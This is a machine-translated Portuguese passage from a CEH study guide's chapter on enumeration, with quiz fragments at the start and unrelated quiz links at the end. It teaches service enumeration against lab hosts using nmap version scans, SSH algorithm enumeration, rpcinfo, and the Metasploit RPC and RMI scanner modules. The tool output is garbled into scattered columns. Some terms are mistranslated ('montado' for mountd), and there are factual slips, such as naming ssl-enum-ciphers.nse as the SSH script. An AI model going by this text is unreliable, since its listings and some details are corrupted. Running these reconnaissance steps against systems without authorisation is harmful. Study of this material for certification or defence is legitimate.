E.Executando uma verificação do Active Directory
20.Para que o fragroute é usado principalmente?
UM.Alterando rotas de rede
B.Capturando pacotes fragmentados
C.Fragmentando o tráfego do aplicativo
E.Fragmentando cabeçalhos de camada 2 e camada 3
Por Ric Messier
Capítulo Enumeração
6 Os seguintes tópicos do exame CEH são
abordados neste capítulo:
- - Métodos de avaliação técnica
- - Segurança de rede
- - Vulnerabilidades
- - Servidor de aplicativo/arquivo
O port scanning é basicamente sobre identificar aplicativos que são
instalados em sistemas dentro da rede alvo. Uma vez que tenhamos
identificado os aplicativos, no entanto, vamos querer cavar mais fundo
para ver quais informações adicionais podemos extrair.
Isso pode incluir informações do usuário ou detalhes sobre compartilhamentos que podem estar disponíveis
na rede. Claro, há outras atividades que podemos executar quando começamos a trabalhar na enumeração.
Essa coleta de informações será benéfica quando começarmos a passar para os próximos estágios.
Enumeração é sobre determinar quais serviços estão em execução e então extrair informações desses
serviços. A primeira coisa que você precisa fazer é identificar serviços que estão disponíveis em seus
sistemas de destino. Cada serviço pode ter muitas informações que podem ser obtidas. Serviços de face
externa podem ter requisitos de autenticação, o que significa que há usuários. Como exemplo, os usuários
podem ter que ser autenticados e autorizados a visualizar algumas seções em um servidor web. Você pode
conseguir que o servidor web lhe dê uma indicação de quais nomes de usuários estão configurados no
servidor, o queseria um exemplo de enumeração.
Como estamos trabalhando em enumeração, vamos dar uma olhada em alguns protocolos, bem como nas
ferramentas que você usaria com esses protocolos. Para começar, há o protocolo Server Message Block (SMB). Ele
é usado em sistemas Windows para compartilhamento de arquivos e recursos, bem como algum gerenciamento
remoto. Este é definitivamente um caso em que os usuários teriam que se autenticar no serviço, então podemos
gastar algum tempo tentando encontrar usuários em servidores Windows. Além disso, você pode ser capaz de
identificar informações de política de segurança associadas ao domínio do Windows. Certamente, você deve ser
capaz de identificar compartilhamentos de arquivos onde houver alguns.
Outros protocolos que você pode não pensar quando se trata de enumeração são o Simple Mail
Transfer Protocol (SMTP) e o Simple Network Management Protocol (SNMP). É comum que os usuários
tenham que se autenticar e ser autorizados antes de enviar e-mails por meio de um servidor SMTP,
principalmente se estiverem enviando de fora da rede onde o servidor de e-mail está. Se você usa um
cliente de e-mail tradicional para se conectar ao Gmail ou Office 365, está familiarizado com a necessidade
de fornecer seu nome de usuário e senha para seu servidor SMTP. Seu cliente pode preencher essas
informações automaticamente para você, mas elas estão lá se você for olhar as configurações.
O SNMP pode fornecer muitas informações sobre sistemas. Se você puder obter acesso a um sistema
SNMP, você deve ser capaz de percorrer a base de informações de gerenciamento (MIB) para extrair
detalhes do seu sistema de destino. Existem ferramentas que farão essa caminhada para você, recuperando
as informações e apresentando-as a você.
Quando terminarmos este capítulo, você deverá ter um entendimento sólido do que é enumeração,
bem como quais ferramentas você pode usar para enumerar diferentes recursos em sistemas. Muitas
dessas ferramentas serão baseadas em Linux e executadas a partir da linha de comando, mas há
algumas ferramentas do Windows que também veremos.
Enumeração de serviços 195
Enumeração de serviços
Quando você está escaneando sistemas, o nmap é sempre seu amigo. O mesmo é verdade quando se
trata de enumeração de serviços. Isso significa que você está identificando o serviço em execução no
sistema de destino. Uma maneira rápida de fazer isso é usar o scan de versão incorporado ao nmap. Na
listagem de código a seguir, você pode ver uma parte da saída de um scan de versão executado pelo
nmap em hosts na minha rede. Um scan de versão é realizado usando -sVcomo o parâmetro enviado para
o nmap. Ele mostra não apenas portas abertas, mas também, onde pode encontrá-las, detalhes sobre os
serviços e versões que estão em execução nos hosts que foram encontrados respondendo na rede. Ele
faz isso observando quaisquer banners de aplicativo para extrair detalhes sobre o nome e a versão do
serviço.
Verificação de versão do nmap
PORTA
22/tcp
25/tcp
80/tcp
443/tcp fechado https
Endereço MAC: 0E:76:03:B8:2A:BA (Desconhecido)
Informações do serviço: SO: Linux; CPE: cpe:/o:linux:linux_kernel
ESTADO
abrir
smtp fechado
abrir http
VERSÃO DE SERVIÇO
ssh OpenSSH 7.7p1 Debian 3 (protocolo 2.0)
Assistente de Segurança Greenbone
Relatório de verificação do Nmap para desktop-3rgc5h2.lan (192.168.86.60). O
host está ativo (latência de 0,025 s).
PORTA
22/tcp
25/tcp
80/tcp
443/tcp filtrado https
Endereço MAC: C4:9D:ED:AB:DD:7A (Microsoft)
ESTADO
ssh filtrado
smtp filtrado
http filtrado
VERSÃO DE SERVIÇO
Relatório de varredura do Nmap para milobloom.lan (192.168.86.61). O
host está ativo (latência de 0,94s).
PORTA
22/tcp
25/tcp
80/tcp
443/tcp fechado https
Endereço MAC: B8:09:8A:C7:13:8F (Apple)
ESTADO
abrir
smtp fechado
http fechado
VERSÃO DE SERVIÇO
ssh OpenSSH 7.6 (protocolo 2.0)
196 Capítulo 6 - Enumeração
Como você pode ver, nem todos os serviços fornecem detalhes sobre o que são. Podemos
identificar o serviço, mas não o aplicativo ou a versão na maioria dos casos. Uma coisa que podemos
ver na listagem anterior é um punhado de sistemas que estão executando Secure Shell (SSH). Nem
todos os servidores SSH forneceram versões ou mesmo protocolos. Felizmente, podemos usar o
nmap novamente para mais detalhes sobre SSH. O Nmap tem recursos de script, e há muitos scripts
que enumerarão serviços para mais detalhes. Um desses scripts enumerará algoritmos que são
suportados pelo servidor SSH. O SSH criptografa dados entre o cliente e o servidor, mas os conjuntos
de cifras usados podem variar entre as conexões, já que os clientes podem suportar diferentes
forças de chave e algoritmos. Aqui você pode ver o uso do script usado para enumerar os algoritmos
em servidores SSH,ssl-enum-ciphers.nse.
Enumeração do algoritmo ssh2
PORTA
22/tcp aberto ssh
| ssh2-enum-algos:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
SERVIÇO DE ESTADO
algoritmos kex: (10)
curva25519-sha256
curve25519-sha256@libssh.org
ecdh-sha2-nistp256
ecdh-sha2-nistp384
ecdh-sha2-nistp521
diffie-hellman-grupo-troca-sha256 diffie-
hellman-grupo16-sha512 diffie-hellman-
grupo18-sha512 diffie-hellman-grupo14-
sha256 diffie-hellman-grupo14-sha1
algoritmos_de_chave_do_host_do_servidor: (5)
ssh-rsa
rsa-sha2-512
rsa-sha2-256
ecdsa-sha2-nistp256
ssh-ed25519
algoritmos de criptografia: (6)
chacha20-poly1305@openssh.com
aes128-ctr
aes192-ctr
aes256-ctr
aes128-gcm@openssh.com
aes256-gcm@openssh.com
mac_algoritmos: (10)
Enumeração de serviços 197
|
|
|
|
|
|
|
|
|
|
|
|
|_
Endereço MAC: 0E:76:03:B8:2A:BA (Desconhecido)
umac-64-etm@openssh.com
umac-128-etm@openssh.com hmac-
sha2-256-etm@openssh.com hmac-
sha2-512-etm@openssh.com hmac-
sha1-etm@openssh.com umac
-64@openssh.com
umac-128@openssh.com
hmac-sha2-256
hmac-sha2-512
hmac-sha1
algoritmos_de_compressão: (2)
nenhum
zlib@openssh.com
Você verá uma coleção de tipos de algoritmos na saída. O primeiro conjunto de algoritmos é para troca
de chaves. Um deles é o algoritmo Diffie-Hellman, nomeado em homenagem a Whitfield Diffie e Martin
Hellman, que foram os primeiros a publicar um algoritmo para troca de chaves. O algoritmo de troca de
chaves é importante porque a chave é essencial para a criptografia e é gerada no momento em que uma
conexão é feita. Você também pode ver os algoritmos de criptografia listados. A maioria deles é o Advanced
Encryption Standard (AES), embora você perceba que um é chamado ChaCha20. Esta é uma cifra de fluxo
como AES que pode permitir que programas usem criptografia sem a necessidade de uma biblioteca de
criptografia de código aberto. Finalmente, há o código de autenticação de mensagem, usado para garantir
que a mensagem não foi adulterada ou corrompida.
Diffie e Hellman foram os primeiros a publicar um algoritmo de troca de chaves,
mas não foram os primeiros a desenvolver um. As agências de inteligência do
governo já tinham criado algoritmos de troca de chaves separadamente de Diffie
e Hellman. A diferença era que os funcionários da agência não conseguiam
publicar porque seu trabalho não podia ser divulgado fora da agência.
Certamente o nmap pode fornecer um bom começo para obter uma lista de serviços e números
de versão, mas nem sempre é o suficiente. Há muito mais que pode ser adquirido sobre diferentes
serviços. Esta é uma área em que o nmap pode ajudar por meio do uso de scripts instalados com o
nmap. Esses scripts podem ser usados para extrair muitas informações, como os algoritmos em
SSH, que de outra forma seriam difíceis de obter. O SSH pode fornecer serviços de criptografia, mas
nem todos os algoritmos de criptografia são livres de vulnerabilidades. É por isso que pode ser útil
saber tudo sobre serviços. Você nunca sabe onde pode encontrar uma vulnerabilidade.
198 Capítulo 6 - Enumeração
Chamadas de Procedimento Remoto
Uma chamada de procedimento remoto (RPC) é um serviço que permite que sistemas remotos consumam
procedimentos externos ao aplicativo que os chama. Um programano sistema A pode chamar uma função
ou procedimento em outro sistema na rede. Ele faz isso usando o protocolo RPC. No que diz respeito ao
programa no computador local que chama o procedimento remoto, é um procedimento local existente no
mesmo espaço de processo que o restante do código. O programa chama esse procedimento, obtém as
informações e prossegue seu caminho alegremente. RPCs fornecem uma maneira para dois processos se
comunicarem um com o outro.Remotogeralmente significa um servidor remoto, mas dois processos locais
também podem usar RPCs para se comunicarem entre si.
SunRPC
A ideia de comunicação entre processos já existe há décadas. Houve várias implementações de
protocolos de solicitação-resposta ao longo das décadas. O Remote Method Invocation (RMI) do Java
é um exemplo recente disso. Antes disso, havia o Common Object Request Broker Architecture
(CORBA), que era independente da implementação da linguagem. Às vezes, com RPCs, você precisa
do que é essencialmente um serviço de diretório para indicar as portas dinâmicas nas quais
diferentes serviços estão sendo executados.
Uma implementação comum de chamadas de procedimento remoto é o programa portmap, também
conhecido como rpcbind. Este programa é usado para fornecer informações sobre programas que foram
registrados com o serviço portmapper, fornecendo esses procedimentos remotos. O portmapper atribui uma
porta para o serviço escutar e, quando consultado, pode fornecer essas informações de volta. Exemplos comuns
de serviços que usam rpcbind/portmap são servidores de compartilhamento de arquivos como o Network File
Server (NFS).
O pacote que fornece o serviço portmapper ou rpcbind também pode fornecer utilitários que
também podem se comunicar usando RPC. Isso é feito pela porta 111. Para identificar programas e
portas associadas em um sistema remoto, você pode usar o programa rpcinfo. Você pode ver um
exemplo do uso de rpcinfo mostrado aqui. O comando usado,rpcinfo -p,tem rpcinfo sondando o
host fornecido. Neste caso, o host é um endereço IP em vez de um nome de host.
lista rpcinfo
kilroy@bobbie $ rpcinfo -p 192.168.86.52
programa versus proto
100000
100000
100000
100000
100000
100000
porta
111
111
111
111
111
111
serviço
mapeador de portas
mapeador de portas
mapeador de portas
mapeador de portas
mapeador de portas
mapeador de portas
4
3
2
4
3
2
TCP
TCP
TCP
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
Chamadas de Procedimento Remoto 199
100005
100005
100005
100005
100005
100005
100003
100003
100227
100003
100227
100021
100021
100021
100021
100021
100021
1
1
2
2
3
3
3
4
3
3
3
1
3
4
1
3
4
UDP-Digitalização
TCP
UDP-Digitalização
TCP
UDP-Digitalização
TCP
TCP
TCP
TCP
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
TCP
TCP
TCP
43939
58801
46384
50405
49030
50553
2049
2049
2049
2049
2049
34578
34578
34578
39297
39297
39297
montado
montado
montado
montado
montado
montado
NFS
NFS
nfs_acl
NFS
nfs_acl
nlockmgr
nlockmgr
nlockmgr
nlockmgr
nlockmgr
nlockmgr
Os programas mostrados anteriormente que têm procedimentos remotos registrados com rpcbind
estão associados ao servidor de compartilhamento de arquivos NFS. O portmapper do programa é o serviço
primário que é consultado para dados adicionais, mas os outros, como mountd, nfs e nlockmanager, são
todos necessários para NFS. O NFS foi desenvolvido pela Sun Microsystems. O portmapper é uma
implementação do RPC que também foi associada à Sun. Às vezes, você pode vê-lo referido como SunRPC.
Este é o caso de um scanner no Metasploit que também pode ser usado para identificar as portas alocadas
para programas usando o portmapper.
scanner metasploit sunrpc
msf > usar auxiliar/scanner/misc/sunrpc_portmapper
msf auxiliar(scanner/misc/sunrpc_portmapper) > definir RHOSTS 192.168.86.52
RHOSTS => 192.168.86.52
msf auxiliar(scanner/misc/sunrpc_portmapper) > executar
[+] 192.168.86.52:111
================================
- Programas SunRPC para 192.168.86.52
Nome
- - - -
montado
montado
montado
Número
- - - - - -
100005
100005
100005
Versão
- - - - - - -
1
1
2
Porta
- - - -
43939
58801
46384
Protocolo
- - - - - - - -
UDP-Digitalização
TCP
UDP-Digitalização
200 Capítulo 6 - Enumeração
scanner metasploit sunrpc(continua)
montado
montado
montado
NFS
NFS
NFS
nfs_acl
nfs_acl
nlockmgr
nlockmgr
nlockmgr
nlockmgr
nlockmgr
nlockmgr
ligação rpc
ligação rpc
ligação rpc
ligação rpc
ligação rpc
ligação rpc
100005
100005
100005
100003
100003
100003
100227
100227
100021
100021
100021
100021
100021
100021
100000
100000
100000
100000
100000
100000
2
3
3
3
4
3
3
3
1
3
4
1
3
4
4
3
2
4
3
2
50405
49030
50553
2049
2049
2049
2049
2049
34578
34578
34578
39297
39297
39297
111
111
111
111
111
111
TCP
UDP-Digitalização
TCP
TCP
TCP
UDP-Digitalização
TCP
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
TCP
TCP
TCP
TCP
TCP
TCP
UDP-Digitalização
UDP-Digitalização
UDP-Digitalização
[*] Escaneou 1 de 1 hosts (100% concluído) [*]
Execução do módulo auxiliar concluída
Como estamos escaneando o mesmo host, não é inesperado que obteríamos os mesmos resultados
usando o módulo Metasploit que obtivemos do rpcinfo. Como tudo o que está acontecendo é consultar o
processo portmapper, você pode usar qualquer ferramenta que lhe seja mais confortável. Há algumas
vantagens em usar essas ferramentas em vez do nmap. A primeira é que você obterá o nome do processo
verificando com o portmapper. A segunda é que você não obterá todas as portas usando o nmap, a menos
que indique especificamente que deseja escanear todas as portas. O intervalo de portas fornecido pelo
portmap não está na lista de portas bem conhecidas que o nmap escaneia.
Invocação de método remoto
Os programas Java são muito populares, especialmente quando se trata de aplicativos da web. Java fornece
muita assistência aos programadores, especialmente quando se trata de bibliotecas e interfaces que podem
ser implementadas com sua própria funcionalidade. Java inclui sua própria capacidade para chamadas de
procedimentos remotos, embora em Java seja chamado de invocação de método remoto (RMI). Para ter um
programa que usa RMI, o sistema precisa de uma versão do portmapper para Java chamada rmiregistry. O
programa que usa RMI se registra com o programa rmiregistry. Isso significa que qualquer um pode
verificar com o rmiregistry para ver quais serviços são
Chamadas de Procedimento Remoto 201
oferecido. O programa rmiregistry responderá de forma similar ao que vimos quando
verificamos com o portmapper.
Dizem que RMI é a versão orientada a objetos do RPC. Isso significa que os objetos são passados entre
o servidor e o cliente. O cliente implementa um stub por meio de uma interface. Uma interface é um termo
orientado a objetos que indica uma definição de uma classe. O stub se comunica com um esqueleto no
servidor. Quando um programador está criando um programa que usa RMI, ele usa um compilador RMI (o
programa rmic). Os programas que usamos para conectar a um registro RMI para enumerar serviços que
são registrados não precisam saber as interfaces específicas necessárias para passar objetos entre o
esqueleto e o stub porque a única coisa que a enumeração está fazendo é identificar os esqueletos ou
serviços no sistema remoto. Começaremos com o Metasploit para executar uma varredura em um sistema
que tem RMI. Você pode ver um exemplo de uso do Metasploit para enumeração RMI aqui:
executando o scanner rmi no metasploit
msf > usar auxiliar/gather/java_rmi_registry
msf auxiliar(gather/java_rmi_registry) > mostrar opções
Opções do módulo (auxiliary/gather/java_rmi_registry):
Nome
- - - -
RHOST
RPORT
Configuração atual
- - - - - - - - - - - - - - -
Obrigatório
- - - - - - - -
sim
sim
Descrição
- - - - - - - - - - - O
endereço de destino
A porta de destino (TCP)1099
auxiliar msf (reunir/java_rmi_registry) > definir RHOST 192.168.86.62 RHOST
=> 192.168.86.62
msf auxiliar(gather/java_rmi_registry)Mais conteúdos dessa disciplina
Ao criar um módulo em Python, como deve ser salvo o arquivo que contém as funções Questão 7Resposta a. Arquivo Python com extensão .py b. Arquivo com- Qual função é utilizada para salvar um gráfico gerado no Matplotlib em um arquivo? Questão 3Resposta a. save() b. storefig() c. store() d. savefig()
- Ao abrir um arquivo CSV em Python e utilizar o comando readline(), o que será retornado? Questão 10Resposta a. O conteúdo do arquivo até o primeiro po
- Qual é o formato de arquivo mais comumente usado para armazenar dados que eu consigo abrir em um editor de planilhas eletrônicas? Questão 9Resposta a.
- Fernanda, jornalista independente, deseja criar um projeto jornalístico inovador para dar maior visibilidade a demandas sociais de comunidades peri...
- Em que situação é mais apropriado utilizar um loop while ao invés de um loop for? Questão 8Resposta a. Quando se deseja iterar sobre um intervalo fixo
- Assinale a opção verdadeira relacionada ao Office online: A Somente pode ser acessada por usuários que tenham o pacote Microsoft Office instalado ...
- Tem-se a seguinte planilha criada no Microsoft Excel 2010, em sua configuração original: Assinale a alternativa em que as duas funções apresentadas ir
- Como é chamada a unidade litoestratigráfica fundamental, composta por uma camada ou um pacote de camadas de uma ou mais litologias, com bom grau de ho
- A crescente integração de Ambientes Virtuais de Aprendizagem (AVAs), ferramentas colaborativas, e tecnologias emergentes como Inteligência Artificial
- Numa audiência de instrução e julgamento de reclamação trabalhista, o reclamante qualifica sua única testemunha, que havia trabalhado com ele na em...
- A crescente integração de Ambientes Virtuais de Aprendizagem (AVA) e plataformas educacionais no cotidiano escolar, intensificada pelo ensino remoto e
- Qual a função da estrutura condicional if em Python? Questão 1Resposta a. Verificar a existência de um elemento em uma lista. b. Declarar variáveis. c
- Avaliacao I - Individual - arquitetura de computadores
- Avaliacao Final (Discursiva) - Individual - Seguranca em tecnologia da informacao
